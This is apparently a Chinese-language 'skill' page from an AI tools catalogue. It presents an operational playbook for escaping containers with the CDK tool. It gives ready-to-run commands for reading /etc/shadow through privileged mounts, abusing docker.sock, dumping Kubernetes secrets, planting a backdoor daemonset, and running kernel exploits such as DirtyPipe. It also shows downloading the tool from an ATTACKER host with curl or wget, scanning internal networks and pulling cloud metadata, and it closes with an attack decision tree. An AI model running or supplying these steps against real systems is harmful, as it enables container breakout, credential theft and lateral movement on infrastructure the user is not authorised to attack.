SuperAPI AI 工具集

cdk-escape

安全与审计

查看项目

更新于 10-16 04:39

技能介绍

CDK 容器渗透与逃逸

CDK 是容器渗透的瑞士军刀——一个二进制解决容器内信息收集、漏洞检测、逃逸利用。拿到容器 shell 后,先跑 CDK 评估,再选逃逸路径。

项目地址:https://github.com/cdk-team/CDK

第一步:环境评估

进入容器后立即运行评估,CDK 会自动检测所有可能的逃逸路径:

全自动评估(推荐首选)

cdk evaluate

评估输出会列出:

  • 容器运行时类型(Docker/containerd/CRI-O)

  • 容器权限(privileged/capabilities)

  • 可利用的挂载点

  • 可用的逃逸技术

  • K8s Service Account Token

  • 网络信息

逃逸技术

特权容器逃逸

# 检测到 privileged=true 时
cdk run mount-cgroup "cat /etc/shadow"
# 或
cdk run mount-disk

# 通过 /dev 设备逃逸
cdk run mount-procfs "cat /etc/shadow"

capabilities 逃逸

CAP_SYS_ADMIN

cdk run mount-cgroup "whoami"

CAP_DAC_READ_SEARCH

cdk run cap-dac-read-search

CAP_SYS_PTRACE

cdk run check-ptrace cdk run shim-pwn # containerd-shim 提权

Docker Socket 逃逸

发现挂载了 /var/run/docker.sock

cdk run docker-sock-check cdk run docker-sock-deploy "attacker_image"

K8s 逃逸

利用 Service Account Token

cdk run k8s-secret-dump cdk run k8s-configmap-dump

创建特权 Pod 逃逸

cdk run k8s-backdoor-daemonset

内核漏洞逃逸

CVE-2021-22555 (Netfilter)

cdk run exploit-CVE-2021-22555

CVE-2022-0847 (DirtyPipe)

cdk run exploit-CVE-2022-0847

runc CVE-2019-5736

cdk run runc-pwn

容器内信息收集

扫描内网服务(容器网络内)

cdk run service-probe 10.0.0.0/24

探测 K8s API Server

cdk run k8s-service-discovery

获取元数据服务(云环境)

cdk run cloud-metadata

工具投递

CDK 是静态编译的单二进制文件,投递到容器很方便:

方式 1:通过 Web 漏洞下载

curl -o /tmp/cdk https://ATTACKER/cdk && chmod +x /tmp/cdk

方式 2:通过 Python 临时 HTTP 服务

攻击机:python3 -m http.server 8000

容器内:wget http://ATTACKER:8000/cdk -O /tmp/cdk && chmod +x /tmp/cdk

决策树

进入容器后: ├─ 第一步:cdk evaluate(自动评估所有逃逸路径) ├─ privileged=true → cdk run mount-cgroup / mount-disk ├─ 有 docker.sock → cdk run docker-sock-deploy ├─ 有 K8s SA Token → cdk run k8s-secret-dump ├─ 有 capabilities → 对应 capability 的利用 ├─ 以上都没有 → 检查内核版本,尝试内核漏洞 └─ 也逃不了 → 容器内横向(service-probe 扫网段)